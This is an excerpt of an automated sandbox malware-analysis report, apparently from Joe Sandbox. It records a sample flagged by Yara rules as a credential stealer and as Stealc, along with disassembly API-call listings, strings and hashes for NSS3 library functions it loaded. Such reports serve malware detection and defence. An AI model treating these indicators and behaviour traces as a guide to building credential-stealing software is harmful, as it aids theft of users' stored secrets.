Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2836790919.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	08:33:54
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe"
Imagebase:	0xb00000
File size:	1'792'512 bytes
MD5 hash:	ECFBD10E08D9C96177F20E200B32DB7C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2889582820.0000000000B01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000003.2833438111.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 6C716E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C862120,6C717E60), ref: 6C716EBC
TlsGetValue.KERNEL32 ref: 6C716EDF
EnterCriticalSection.KERNEL32(?), ref: 6C716EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C716F25

Part of subcall function 6C6EA900: TlsGetValue.KERNEL32(00000000,?,6C8614E4,?,6C684DD9), ref: 6C6EA90F
Part of subcall function 6C6EA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6EA94F

PR_Unlock.NSS3 ref: 6C716F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C716FA9
TlsGetValue.KERNEL32 ref: 6C7170B4
EnterCriticalSection.KERNEL32(?), ref: 6C7170C8
PR_CallOnce.NSS3(6C8624C0,6C757590), ref: 6C717104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C717117
SECOID_Init.NSS3 ref: 6C717128
PORT_Alloc_Util.NSS3(00000057), ref: 6C71714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C71717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7171A9
PR_NotifyAllCondVar.NSS3 ref: 6C7171CF
PR_Unlock.NSS3 ref: 6C7171DD
free.MOZGLUE(?), ref: 6C7171EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C717208
free.MOZGLUE(00000000), ref: 6C717221
free.MOZGLUE(00000001), ref: 6C717235
TlsGetValue.KERNEL32 ref: 6C71724A
EnterCriticalSection.KERNEL32(?), ref: 6C71725E
PR_NotifyCondVar.NSS3 ref: 6C717273
PR_Unlock.NSS3 ref: 6C717281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C717291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C850148,,defaultModDB,internalKeySlot), ref: 6C7174CC
free.MOZGLUE(00000000), ref: 6C717513
free.MOZGLUE(00000000), ref: 6C71751B
free.MOZGLUE(00000000), ref: 6C717528
free.MOZGLUE(00000000), ref: 6C71753C
free.MOZGLUE(00000000), ref: 6C717550
free.MOZGLUE(00000000), ref: 6C717561
free.MOZGLUE(00000000), ref: 6C717572
free.MOZGLUE(00000000), ref: 6C717583
free.MOZGLUE(00000000), ref: 6C717594
free.MOZGLUE(00000000), ref: 6C7175A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7175BD
free.MOZGLUE(00000000), ref: 6C7175C8
free.MOZGLUE(00000000), ref: 6C7175F1
PR_NewLock.NSS3 ref: 6C717636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C717686
PR_NewLock.NSS3 ref: 6C7176A2

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7176B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C717707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C71771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C717731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C71774A
DeleteCriticalSection.KERNEL32(?), ref: 6C717770
free.MOZGLUE(?), ref: 6C717779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7177AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7177C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7177DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C717821
PORT_Alloc_Util.NSS3(?), ref: 6C717837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C71785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C71786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7178AC
free.MOZGLUE(00000000), ref: 6C7178BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7178F3
free.MOZGLUE(00000000), ref: 6C7178FC
free.MOZGLUE(00000000), ref: 6C71791C

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

dbm:, xrefs: 6C717716
dll, xrefs: 6C71788E
NSS Internal Module, xrefs: 6C7174A2, 6C7174C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7174C7
Spac, xrefs: 6C717389
kbi., xrefs: 6C717886
rdb:, xrefs: 6C717744
sql:, xrefs: 6C7176FE
extern:, xrefs: 6C71772B
,defaultModDB,internalKeySlot, xrefs: 6C71748D, 6C7174AA

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: bbc334081df02e52dbf16753eccaa9013cdab5137ff73cee88fd968227d74c87
Instruction ID: 39851e65f7d753728c7c6d71ce2fd251547e876fe6fabfe47d359c00a9b93584
Opcode Fuzzy Hash: bbc334081df02e52dbf16753eccaa9013cdab5137ff73cee88fd968227d74c87
Instruction Fuzzy Hash: 2C52F4B1E092059BEF218F65CE097AA7BB4AF0A30CF184538EC09A7E41E775D954CBD1

Function 6C73BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C73C0C8

Part of subcall function 6C7C9440: LeaveCriticalSection.KERNEL32 ref: 6C7C95CD
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9622
Part of subcall function 6C7C9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C7C964E

PR_EnterMonitor.NSS3 ref: 6C73C0AE

Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C91AA
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9212
Part of subcall function 6C7C9090: _PR_MD_WAIT_CV.NSS3 ref: 6C7C926B

Part of subcall function 6C6F0600: GetLastError.KERNEL32(?,?,?,?,?,6C6F05E2), ref: 6C6F0642
Part of subcall function 6C6F0600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6F05E2), ref: 6C6F065D
Part of subcall function 6C6F0600: GetLastError.KERNEL32 ref: 6C6F0678
Part of subcall function 6C6F0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C6F068A
Part of subcall function 6C6F0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F0693
Part of subcall function 6C6F0600: PR_SetErrorText.NSS3(00000000,?), ref: 6C6F069D
Part of subcall function 6C6F0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,C9FB05D3,?,?,?,?,?,6C6F05E2), ref: 6C6F06CA
Part of subcall function 6C6F0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6F05E2), ref: 6C6F06E6

PR_EnterMonitor.NSS3 ref: 6C73C0F2
PR_ExitMonitor.NSS3 ref: 6C73C10E
PR_ExitMonitor.NSS3 ref: 6C73C081

Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C945B
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9479
Part of subcall function 6C7C9440: EnterCriticalSection.KERNEL32 ref: 6C7C9495
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C94E4
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9532
Part of subcall function 6C7C9440: LeaveCriticalSection.KERNEL32 ref: 6C7C955D

PR_EnterMonitor.NSS3 ref: 6C73C068

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C6F0600: GetProcAddress.KERNEL32(?,?), ref: 6C6F0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C73C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C73C183
free.MOZGLUE(00000000), ref: 6C73C18E
PR_LoadLibrary.NSS3(?), ref: 6C73C1A3
PR_EnterMonitor.NSS3 ref: 6C73C1D4
PR_ExitMonitor.NSS3 ref: 6C73C1F3
PR_CallOnce.NSS3(6C862318,6C73CA70), ref: 6C73C210
PR_EnterMonitor.NSS3 ref: 6C73C22B
PR_ExitMonitor.NSS3 ref: 6C73C247
PR_EnterMonitor.NSS3 ref: 6C73C26A
PR_ExitMonitor.NSS3 ref: 6C73C287
PR_UnloadLibrary.NSS3(?), ref: 6C73C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C73C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C73C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C73C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C73C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C73C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C73C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C73C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C73C8D5
free.MOZGLUE(00000000), ref: 6C73C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73C9E5
free.MOZGLUE(00000000), ref: 6C73CA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6C73C77D
FC_GetFunctionList, xrefs: 6C73C098
NSS_ReturnModuleSpecData, xrefs: 6C73C275
PKCS 11, xrefs: 6C73C2F9, 6C73C314
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C73C38D
Vendor NSS FIPS Interface, xrefs: 6C73C34A
NSS_DISABLE_UNLOAD, xrefs: 6C73C7B0
NSC_ModuleDBFunc, xrefs: 6C73C0FC
FC_GetInterface, xrefs: 6C73C054
NSC_GetFunctionList, xrefs: 6C73C093
nss_mod_log, xrefs: 6C73C3CC
NSC_GetInterface, xrefs: 6C73C04F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2b63ac35c4e884120ede4c63701b57ebe88b5181cbabf1d81153caf7f9d9d9e9
Instruction ID: 27aa73fa544bc2438045950892f4dc3af69543fe1b75786c50678ef42d22dbab
Opcode Fuzzy Hash: 2b63ac35c4e884120ede4c63701b57ebe88b5181cbabf1d81153caf7f9d9d9e9
Instruction Fuzzy Hash: 9042A2B2A042258FDF10DF66CA4AB6A7BB1BB4630DF046178D8098BB13E739D515CBD1

Function 6C813FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C813FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C813FFE
malloc.MOZGLUE(-00000003), ref: 6C814016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C84FC62), ref: 6C81404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C81407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C8140A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C8140D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814112
malloc.MOZGLUE(00000000), ref: 6C81411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C81414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814160
free.MOZGLUE(?), ref: 6C81416C
malloc.MOZGLUE(?), ref: 6C8141AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C8141EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C814520), ref: 6C814244
GetEnvironmentStrings.KERNEL32 ref: 6C81424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8142B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8142E4
malloc.MOZGLUE(00000002), ref: 6C8142FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C814342
GetStdHandle.KERNEL32(000000F6), ref: 6C8143AB
GetStdHandle.KERNEL32(000000F5), ref: 6C8143B2
GetStdHandle.KERNEL32(000000F4), ref: 6C8143B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C814403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814410

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C81445E
CloseHandle.KERNEL32(?), ref: 6C81446B
free.MOZGLUE(?), ref: 6C814482
free.MOZGLUE(00000000), ref: 6C814492
free.MOZGLUE(00000000), ref: 6C8144A4
GetLastError.KERNEL32 ref: 6C8144B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C8144BE
free.MOZGLUE(?), ref: 6C8144C7
free.MOZGLUE(00000000), ref: 6C8144D5
free.MOZGLUE(00000000), ref: 6C8144EA

Strings

D, xrefs: 6C814396
=, xrefs: 6C8144F8
NSPR_INHERIT_FDS=, xrefs: 6C8141E9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 2c12b2c647d2648fa95b98d6fecbdec84ba79f7bdf63037f13cb9bfe7bff356e
Instruction ID: 8daf067aa51ce7e9627f5eaf9cbc2ed66c78fdd73310183ac2fa7eaa3abf35c7
Opcode Fuzzy Hash: 2c12b2c647d2648fa95b98d6fecbdec84ba79f7bdf63037f13cb9bfe7bff356e
Instruction Fuzzy Hash: 05021670E083569FEB308F698A4479EBBF4AFC631CF244928D859A7F42D7709845CB91

Function 6C726D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C82A8EC,0000006C), ref: 6C726DC6
memcpy.VCRUNTIME140(?,6C82A958,0000006C), ref: 6C726DDB
memcpy.VCRUNTIME140(?,6C82A9C4,00000078), ref: 6C726DF1
memcpy.VCRUNTIME140(?,6C82AA3C,0000006C), ref: 6C726E06
memcpy.VCRUNTIME140(?,6C82AAA8,00000060), ref: 6C726E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C726E38

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C726E76
TlsGetValue.KERNEL32 ref: 6C72726F
EnterCriticalSection.KERNEL32(?), ref: 6C727283

Strings

!, xrefs: 6C727123

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 72e58256691988ec191dba9f1a498a18e636138d959090808b27effc78906038
Instruction ID: 512dfa35c74aac523b0f8e05f6ecf2b25de75e24c052738aa3887085aa7674c5
Opcode Fuzzy Hash: 72e58256691988ec191dba9f1a498a18e636138d959090808b27effc78906038
Instruction Fuzzy Hash: 14729E75D052199FDF60DF28CE8879ABBB5BF49308F1041A9D80DA7701E735AA84CF91

Function 6C693C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C693D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C694052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C69406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C69410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69449C

Strings

%s at line %d of [%.10s], xrefs: 6C694495, 6C6944F9, 6C69459E, 6C694769, 6C694809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C694452, 6C694486, 6C6944EA, 6C694571, 6C694580, 6C69458F, 6C69475A, 6C6947FA
database corruption, xrefs: 6C694490, 6C6944F4, 6C694599, 6C694764, 6C694804

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: fd6264f304fed0cc181648888009fb879ea4f2e7e773bf4fc68aefcb84edd768
Instruction ID: a9a402608669e1d18b036967d9abc49cabc4360a092cf84a5ac606fc4cd724fc
Opcode Fuzzy Hash: fd6264f304fed0cc181648888009fb879ea4f2e7e773bf4fc68aefcb84edd768
Instruction Fuzzy Hash: 5482CE74A00216CFCB04CF68C580BAE77F2BF49318F2585A9D819ABB51D771EC42CB99

Function 6C76AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C76ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C76ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C76ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C76AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C76ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76ADF0

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C76B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C76B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76B40C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
